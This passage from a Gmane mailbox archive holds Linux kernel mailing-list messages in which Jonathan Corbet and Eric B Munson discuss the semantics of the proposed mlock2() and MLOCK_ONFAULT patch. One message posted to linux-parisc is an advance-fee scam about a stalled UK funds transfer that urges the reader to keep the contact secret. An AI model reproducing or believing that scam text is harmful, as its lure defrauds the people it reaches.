Original-X-From: sparclinux-owner@vger.kernel.org Wed Jul 08 23:17:59 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZCwj8-0007By-5q
	for lnx-sparclinux@plane.gmane.org; Wed, 08 Jul 2015 23:17:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933957AbbGHVR4 (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 8 Jul 2015 17:17:56 -0400
Original-Received: from tex.lwn.net ([70.33.254.29]:48841 "EHLO vena.lwn.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933838AbbGHVRw convert rfc822-to-8bit (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Wed, 8 Jul 2015 17:17:52 -0400
Original-Received: from lwn.net (localhost.localdomain [127.0.0.1])
	(using TLSv1 with cipher AES128-SHA (128/128 bits))
	(No client certificate requested)
	by vena.lwn.net (Postfix) with ESMTP id 7E1A91540042;
	Wed,  8 Jul 2015 15:17:51 -0600 (MDT)
In-Reply-To: <20150708203456.GC4669@akamai.com>
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21217 gmane.linux.ports.alpha:3183 gmane.linux.kernel:1992100 gmane.linux.ports.mips.general:49282 gmane.linux.ports.parisc:25816 gmane.linux.ports.ppc64.devel:114996 gmane.linux.kernel.mm:135316 gmane.linux.kernel.cross-arch:28261 gmane.linux.kernel.api:12642
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21217>

On Wed, 8 Jul 2015 16:34:56 -0400
Eric B Munson <emunson@akamai.com> wrote:

> > Quick, possibly dumb question: I've been beating my head against these for
> > a little bit, and I can't figure out what's supposed to happen in this
> > case:
> > 
> > 	mlock2(addr, len, MLOCK_ONFAULT);
> > 	munlock2(addr, len, MLOCK_LOCKED);
> > 
> > It looks to me like it will clear VM_LOCKED without actually unlocking any
> > pages.  Is that the intended result?  
> 
> This is not quite right, what happens when you call munlock2(addr, len,
> MLOCK_LOCKED); is we call apply_vma_flags(addr, len, VM_LOCKED, false).

>From your explanation, it looks like what I said *was* right...what I was
missing was the fact that VM_LOCKED isn't set in the first place.  So that
call would be a no-op, clearing a flag that's already cleared.

One other question...if I call mlock2(MLOCK_ONFAULT) on a range that
already has resident pages, I believe that those pages will not be locked
until they are reclaimed and faulted back in again, right?  I suspect that
could be surprising to users.

Thanks,

jon
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: adamwitkover56@gmail.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: your protracted and stalled funds transfer from the U.K.
Date: Thu, 09 Jul 2015 11:38:01 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20150709093828.19A4E209C3__7717.09047626263$1436435162$gmane$org@mailhost.usc.br>
Reply-To: adamwitkover56@gmail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1436435162 14067 80.91.229.3 (9 Jul 2015 09:46:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jul 2015 09:46:02 +0000 (UTC)
To: Recipients <adamwitkover56@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 09 11:45:54 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZD8Op-00087l-1M
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Jul 2015 11:45:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752075AbbGIJpf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jul 2015 05:45:35 -0400
Original-Received: from mailhost.fveritas.com.br ([200.230.82.5]:39357 "EHLO
	mailhost.usc.br" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751531AbbGIJpF convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jul 2015 05:45:05 -0400
X-Greylist: delayed 391 seconds by postgrey-1.27 at vger.kernel.org; Thu, 09 Jul 2015 05:45:02 EDT
Original-Received: from mailhost.usc.br (localhost [127.0.0.1])
	by mailhost.usc.br (Postfix) with ESMTP id 19A4E209C3;
	Thu,  9 Jul 2015 06:38:28 -0300 (BRT)
Original-Received: from [10.211.146.105] (unknown [92.69.196.152])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	(Authenticated sender: maria.lima@usc.br)
	by mailhost.usc.br (Postfix) with ESMTPSA id C50B8209B7;
	Thu,  9 Jul 2015 06:38:10 -0300 (BRT)
Content-Description: Mail message body
X-Priority: 1 (High)
Sensitivity: Personal
IRServerMS-Antispam-Status: Disabled
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25817
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25817>

Attention Pls,

I am writing you with regards to your protracted and stalled funds transfer from the U.K. and would urge you to accord this correspondence your full indulgence and attention, as the authenticity and difference would be evident if you do so.

As a freelance, independent External Audit expert assisting a private financial institution here in Britain in all aspects of their work, your transfer file came to my attention just this morning, and I was compelled to take special interest in it owing to its peculiar history of procedural inconsistencies. Obviously all the persons you assigned to process your transfer have proved to be incompetent. Simply put it that they have given room to some management of the Bank to try and smuggle your fund through a non-existent back door.

My intention is to quickly reactivate and sort out your transfer without any distraction through a simple, transparent and authoritative means where you will not be required to pay any unauthorized fees. You are forbidden to preempt anyone of this contact and I await your response at your earliest convenience.

Thank you.

Sincerely,
Adam Witkover
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V3 3/5] mm: mlock: Introduce VM_LOCKONFAULT and add mlock
 flags to enable it
Date: Thu, 9 Jul 2015 14:46:35 -0400
Lines: 78
Approved: news@gmane.org
Message-ID: <20150709184635.GE4669@akamai.com>
References: <1436288623-13007-1-git-send-email-emunson@akamai.com>
 <1436288623-13007-4-git-send-email-emunson@akamai.com>
 <20150708132351.61c13db6@lwn.net>
 <20150708203456.GC4669@akamai.com>
 <20150708151750.75e65859@lwn.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="d8Lz2Tf5e5STOWUP"
X-Trace: ger.gmane.org 1436467616 7147 80.91.229.3 (9 Jul 2015 18:46:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jul 2015 18:46:56 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>, Vlastimil Babka <vbabka@suse.cz>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Jonathan Corbet <corbet@lwn.net>
Original-X-From: owner-linux-mm@kvack.org Thu Jul 09 20:46:42 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZDGqG-0003go-3U
	for glkm-linux-mm-2@m.gmane.org; Thu, 09 Jul 2015 20:46:40 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id ED06C6B0038; Thu,  9 Jul 2015 14:46:37 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id E80D96B0253; Thu,  9 Jul 2015 14:46:37 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id D49269003C7; Thu,  9 Jul 2015 14:46:37 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qg0-f53.google.com (mail-qg0-f53.google.com [209.85.192.53])
	by kanga.kvack.org (Postfix) with ESMTP id AD13E6B0038
	for <linux-mm@kvack.org>; Thu,  9 Jul 2015 14:46:37 -0400 (EDT)
Original-Received: by qgep37 with SMTP id p37so27222977qge.1
        for <linux-mm@kvack.org>; Thu, 09 Jul 2015 11:46:37 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=FfixsfxPVylcPlwqNMUsgg/4ddKVAicxSptu/pteHWw=;
        b=INsT17Op2IF1B0N96/6P/tVvtabVgApddH0q8ggPsFEXfnYxfb0L4O4Q6UcbkyX6P3
         1Jp3CmOoACjj76yTgJclQqyqzR5HOZxS1ykqUgHm4N5hvtnUNDB2B6fs1TxJgvSWZENp
         MyRZMH1D6RAg49YQRRxFWZZOUradsDS/AJ5Yt7/xLj94nWeqUNp2Mm8ij/9PTe5tHRql
         xjMKOQIYO3atkc0S7zqS86iDVJ/l7t9lysHLSTtV8PWr2hiC24jBkLLhC+ocGP1aoM2b
         ZlKo7VD6OZraE8JNlEJ52S9MPdKwe1+tkaB8qbE7OI2g2ZnLSEDBH3qrQ4UAM1b5Ha2E
         GxYA==
X-Gm-Message-State: ALoCoQnF0sHsRPLjagQw/p8Bjj1YXLbcGTuF2OPXLlc+JaHNW2AX+vCHdzc9r8nZYCB62psFU0LdZl3tRgXYQlfepGbiIU67MlYFrFA8bHGJJb3JPPOWtXVoNw02fWnRI41HZ6hofKUgizCzukLyWloiyPjiRNJdYIDsWXFtxx7ed3Gdnq4V4J34M9kuXtj122TQL4NP3eyH
X-Received: by 10.140.43.100 with SMTP id d91mr27280602qga.77.1436467597396;
        Thu, 09 Jul 2015 11:46:37 -0700 (PDT)
X-Received: by 10.140.43.100 with SMTP id d91mr27280533qga.77.1436467596882;
        Thu, 09 Jul 2015 11:46:36 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com ([23.79.238.175])
        by mx.google.com with ESMTP id g196si7607079qhc.80.2015.07.09.11.46.36
        for <linux-mm@kvack.org>;
        Thu, 09 Jul 2015 11:46:36 -0700 (PDT)
Received-SPF: softfail (google.com: domain of transitioning emunson@akamai.com does not designate 23.79.238.175 as permitted sender) client-ip=23.79.238.175;
Authentication-Results: mx.google.com;
       spf=softfail (google.com: domain of transitioning emunson@akamai.com does not designate 23.79.238.175 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id BD7BB493D8;
	Thu,  9 Jul 2015 18:46:50 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id A56AE493A7;
	Thu,  9 Jul 2015 18:46:50 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1436467610; bh=rdNa74iVcvQwSsaK1uoJoryahBfHe2fvC/SAwNXTciM=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=hnbSHLQlFvJsYJrBvadDVPAkX1VM5WEeShgyo9vuOWSwTGeCAsBvziAXw4rJ5L2Nk
	 YPi79kueLj/xvSpwkmN0gXXLhZiQooQU0j72mIhh1GTdU37Z6TBV1QX2hPnxo4axVU
	 t08HuGmte7WMukl/Zu0TdJYHYJSMW+Ozo475zIHA=
Original-Received: from akamai.com (unknown [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id E167B80087;
	Thu,  9 Jul 2015 18:46:35 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150708151750.75e65859@lwn.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:135383 gmane.linux.ports.alpha:3184 gmane.linux.kernel:1992844 gmane.linux.ports.mips.general:49316 gmane.linux.ports.parisc:25818 gmane.linux.ports.ppc64.devel:115040 gmane.linux.ports.sparc:21222 gmane.linux.kernel.cross-arch:28302 gmane.linux.kernel.api:12674
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/135383>


--d8Lz2Tf5e5STOWUP
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, 08 Jul 2015, Jonathan Corbet wrote:

> On Wed, 8 Jul 2015 16:34:56 -0400
> Eric B Munson <emunson@akamai.com> wrote:
>=20
> > > Quick, possibly dumb question: I've been beating my head against thes=
e for
> > > a little bit, and I can't figure out what's supposed to happen in this
> > > case:
> > >=20
> > > 	mlock2(addr, len, MLOCK_ONFAULT);
> > > 	munlock2(addr, len, MLOCK_LOCKED);
> > >=20
> > > It looks to me like it will clear VM_LOCKED without actually unlockin=
g any
> > > pages.  Is that the intended result? =20
> >=20
> > This is not quite right, what happens when you call munlock2(addr, len,
> > MLOCK_LOCKED); is we call apply_vma_flags(addr, len, VM_LOCKED, false).
>=20
> From your explanation, it looks like what I said *was* right...what I was
> missing was the fact that VM_LOCKED isn't set in the first place.  So that
> call would be a no-op, clearing a flag that's already cleared.

Sorry, I misread the original.  You are correct with the addition that
the call to munlock2(MLOCK_LOCKED) is a noop in this case.

>=20
> One other question...if I call mlock2(MLOCK_ONFAULT) on a range that
> already has resident pages, I believe that those pages will not be locked
> until they are reclaimed and faulted back in again, right?  I suspect that
> could be surprising to users.

That is the case.  I am looking into what it would take to find only the
present pages in a range and lock them, if that is the behavior that is
preferred I can include it in the updated series.

>=20
> Thanks,
>=20
> jon

--d8Lz2Tf5e5STOWUP
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVnsGLAAoJELbVsDOpoOa9fD4P+wfJut0yfq/Eut90zuluJASG
y2/MKnGXk/YAwdE9jVyUs/if3S6y9E+nzr9h10jjiAzl7Ek3fbjvGQGtSJee0nxv
xprvjrX8StCUyubIAdvuvBDAQ2uruWlWPt0/WYlTppmm3Ws7sXk6Rc9uyAaYvO8k
cb/3b2hDUz4X3buHx7rbontLHI+PkJyOMC0wwhlgc/TnIyGAOINbxf4jYR9MTOP1
OjpudgitD2855bIJVi9VnOkbG7tvRqJA5azlVkcwlUBqezjSKz5K+NANc4zL5xQ1
uBN9QJXvbiGBzpKXSjmCgtQYRpUq5fN4hZOjq3lo6nill+E+F6eL415ON/5mpRvR
8JeYOUZt/Gua6W0fxLTscnp3E5cpu4oUrzY43J9jJ5HA34s0W8mj/ssey/lDxUo/
LzoeORqwByyNuESJHtHSYJUB24FDQeQJ1cjMLqoZmpyjlFnUoVgzFox+jdtwZ80P
3LMoWN7h6NyQ6GtQDHF1033vsxAHBQ04x96kch9Ztx3BGoWVZoXO1Lsr6X6EHCIV
DmQW1k8HPLsUbkXtOlGR36opxF1fbdBzAyN7V8rWXnNFiyDCl/ImUtEVKQ/VPp9k
T2FjdgDFkTetH6KHVOztE1Ya08wHX4Yy/qxxFH1sPMfVIHFUE7ATTP+00Oc30E32
vBEzC6L/dMQNWWAIbaEJ
=CLFc
-----END PGP SIGNATURE-----

--d8Lz2Tf5e5STOWUP--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jonathan Corbet <corbet@lwn.net>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V3 3/5] mm: mlock: Introduce VM_LOCKONFAULT and add
 mlock flags to enable it
Date: Fri, 10 Jul 2015 10:11:18 -0600
Organization: LWN.net
Lines: 24
Approved: news@gmane.org
Message-ID: <20150710101118.5d04d627@lwn.net>
References: <1436288623-13007-1-git-send-email-emunson@akamai.com>
	<1436288623-13007-4-git-send-email-emunson@akamai.com>
	<20150708132351.61c13db6@lwn.net>
	<20150708203456.GC4669@akamai.com>
	<20150708151750.75e65859@lwn.net>
	<20150709184635.GE4669@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1436544701 2028 80.91.229.3 (10 Jul 2015 16:11:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2015 16:11:41 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Fri Jul 10 18:11:40 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1ZDatm-0005J8-Sb
	for lnx-linux-alpha@plane.gmane.org; Fri, 10 Jul 2015 18:11:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754843AbbGJQLg (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Fri, 10 Jul 2015 12:11:36 -0400
Original-Received: from tex.lwn.net ([70.33.254.29]:54442 "EHLO vena.lwn.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754778AbbGJQLf (ORCPT <rfc822;linux-alpha@vger.kernel.org>);
	Fri, 10 Jul 2015 12:11:35 -0400
Original-Received: from lwn.net (localhost.localdomain [127.0.0.1])
	(using TLSv1 with cipher AES128-SHA (128/128 bits))
	(No client certificate requested)
	by vena.lwn.net (Postfix) with ESMTP id EC8811540042;
	Fri, 10 Jul 2015 10:11:31 -0600 (MDT)
In-Reply-To: <20150709184635.GE4669@akamai.com>
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3185 gmane.linux.kernel:1993638 gmane.linux.ports.mips.general:49347 gmane.linux.ports.parisc:25819 gmane.linux.ports.ppc64.devel:115089 gmane.linux.ports.sparc:21223 gmane.linux.kernel.mm:135438 gmane.linux.kernel.cross-arch:28332 gmane.linux.kernel.api:12696
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3185>

On Thu, 9 Jul 2015 14:46:35 -0400
Eric B Munson <emunson@akamai.com> wrote:

> > One other question...if I call mlock2(MLOCK_ONFAULT) on a range that
> > already has resident pages, I believe that those pages will not be locked
> > until they are reclaimed and faulted back in again, right?  I suspect that
> > could be surprising to users.  
> 
> That is the case.  I am looking into what it would take to find only the
> present pages in a range and lock them, if that is the behavior that is
> preferred I can include it in the updated series.

For whatever my $0.02 is worth, I think that should be done.  Otherwise
the mlock2() interface is essentially nondeterministic; you'll never
really know if a specific page is locked or not.

Thanks,

jon
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH V3 3/5] mm: mlock: Introduce VM_LOCKONFAULT and add mlock
 flags to enable it
Date: Fri, 10 Jul 2015 12:19:48 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <20150710161948.GF4669@akamai.com>
References: <1436288623-13007-1-git-send-email-emunson@akamai.com>
 <1436288623-13007-4-git-send-email-emunson@akamai.com>
 <20150708132351.61c13db6@lwn.net>
 <20150708203456.GC4669@akamai.com>
 <20150708151750.75e65859@lwn.net>
 <20150709184635.GE4669@akamai.com>
 <20150710101118.5d04d627@lwn.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="B0nZA57HJSoPbsHY"
X-Trace: ger.gmane.org 1436545203 10688 80.91.229.3 (10 Jul 2015 16:20:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2015 16:20:03 +0000 (UTC)
Cc: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	Michal Hocko <mhocko-AlSwsSmVLrQ@public.gmane.org>,
	Vlastimil Babka <vbabka-AlSwsSmVLrQ@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Jonathan Corbet <corbet-T1hC0tSOHrs@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Jul 10 18:19:56 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1ZDb1m-0001oF-To
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Fri, 10 Jul 2015 18:19:55 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754208AbbGJQTv (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Fri, 10 Jul 2015 12:19:51 -0400
Original-Received: from a23-79-238-175.deploy.static.akamaitechnologies.com ([23.79.238.175]:33813
	"EHLO prod-mail-xrelay07.akamai.com" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1753740AbbGJQTu (ORCPT
	<rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Fri, 10 Jul 2015 12:19:50 -0400
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 2CE55478AC;
	Fri, 10 Jul 2015 16:20:05 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 14872478AB;
	Fri, 10 Jul 2015 16:20:05 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1436545205; bh=KNQwI4yHOEhrBMIfRM2sftRDSJJJj8jeEMxLQKZdaxc=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=qR+QFX50tIm4s4O92Z2+0IgBpPHr9JH8PbP9BXG3pPnI5jjRLUD1HTAz1iJ8snN3k
	 2pI5fagFkfUNwwvKtW4ucgTX7B3yEjhi9S/1yMFDVhGmAW8xNA43PucrlQgct01O7h
	 cLrzbiWT+VmJUICRJF0D7lAt47kxKUVE5PN/Hs/A=
Original-Received: from akamai.com (unknown [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 7A9D080088;
	Fri, 10 Jul 2015 16:19:48 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150710101118.5d04d627-T1hC0tSOHrs@public.gmane.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:12697 gmane.linux.ports.alpha:3186 gmane.linux.kernel:1993642 gmane.linux.ports.mips.general:49348 gmane.linux.ports.parisc:25820 gmane.linux.ports.ppc64.devel:115091 gmane.linux.ports.sparc:21224 gmane.linux.kernel.mm:135439 gmane.linux.kernel.cross-arch:28333
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/12697>


--B0nZA57HJSoPbsHY
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 10 Jul 2015, Jonathan Corbet wrote:

> On Thu, 9 Jul 2015 14:46:35 -0400
> Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org> wrote:
>=20
> > > One other question...if I call mlock2(MLOCK_ONFAULT) on a range that
> > > already has resident pages, I believe that those pages will not be lo=
cked
> > > until they are reclaimed and faulted back in again, right?  I suspect=
 that
> > > could be surprising to users. =20
> >=20
> > That is the case.  I am looking into what it would take to find only the
> > present pages in a range and lock them, if that is the behavior that is
> > preferred I can include it in the updated series.
>=20
> For whatever my $0.02 is worth, I think that should be done.  Otherwise
> the mlock2() interface is essentially nondeterministic; you'll never
> really know if a specific page is locked or not.
>=20
> Thanks,
>=20
> jon

Okay, I likely won't have the new set out today then.  This change is
more invasive.  IIUC, I need an equivalent to __get_user_page() skips
pages which are not present instead of faulting in and the call chain to
get to it.  Unless there is an easier way that I am missing.

Eric

--B0nZA57HJSoPbsHY
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVn/CkAAoJELbVsDOpoOa9fc8QAIYPJoEtJnOGLcp6XvlbR0qD
EHm5hYg6euX6IzBeU/n1N4DZEv/6AHxxj33+oWf/0SvA7JpsvIZeCsy58KoiZzkO
